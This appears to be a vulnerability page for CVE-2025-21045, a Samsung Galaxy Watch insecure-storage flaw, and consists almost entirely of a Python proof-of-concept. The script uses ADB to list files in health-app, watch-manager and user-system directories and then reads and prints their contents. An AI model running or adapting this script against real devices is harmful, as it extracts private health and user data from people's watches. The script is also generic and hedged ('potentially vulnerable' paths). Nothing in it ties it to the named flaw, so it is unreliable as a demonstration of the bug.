CVE-2025-21045 三星Galaxy Watch敏感信息不安全存储漏洞

# CVE-2025-21045 PoC - Galaxy Watch Insecure Sensitive Information Storage # This PoC demonstrates how a local attacker could access sensitive information # stored insecurely on Samsung Galaxy Watch devices prior to SMR Oct-2025 Release 1. import subprocess import os # Step 1: Check if device is accessible via ADB (local access required) def check_device_access(): """Verify local access to the target Galaxy Watch device""" result = subprocess.run(['adb', 'devices'], capture_output=True, text=True) return 'device' in result.stdout # Step 2: Attempt to access potentially vulnerable storage paths # Galaxy Watch may store sensitive data in various locations vulnerable_paths = [ '/data/data/com.samsung.health/databases/', # Samsung Health data '/data/data/com.samsung.android.app-watchmanager/', # Watch Manager data '/data/system/users/0/', # User system data '/data/local/tmp/', # Temporary storage '/sdcard/Android/data/com.samsung.health/', # Health data on SD card ] def enumerate_sensitive_files(): """Enumerate files in vulnerable storage locations""" sensitive_files = [] for path in vulnerable_paths: try: # Use adb shell to list files in potentially vulnerable directories result = subprocess.run( ['adb', 'shell', 'find', path, '-type', 'f'], capture_output=True, text=True, timeout=10 ) if result.stdout: sensitive_files.extend(result.stdout.strip().split('\n')) except Exception as e: print(f"Error accessing {path}: {e}") return sensitive_files # Step 3: Extract readable content from discovered sensitive files def extract_sensitive_data(files): """Attempt to read content from discovered files""" extracted_data = {} for filepath in files[:20]: # Limit to first 20 files for demonstration try: result = subprocess.run( ['adb', 'shell', 'cat', filepath], capture_output=True, text=True, timeout=5 ) if result.stdout and len(result.stdout) > 0: extracted_data[filepath] = result.stdout[:500] # Truncate output except Exception: pass return extracted_data # Main execution if __name__ == "__main__": if check_device_access(): print("[*] Device accessible. Searching for sensitive information...") files = enumerate_sensitive_files() print(f"[*] Found {len(files)} potentially sensitive files") data = extract_sensitive_data(files) print(f"[*] Successfully extracted data from {len(data)} files") for filepath, content in data.items(): print(f"\n[+] File: {filepath}") print(f" Content preview: {content[:100]}...") else: print("[-] No accessible device found. Local access required.")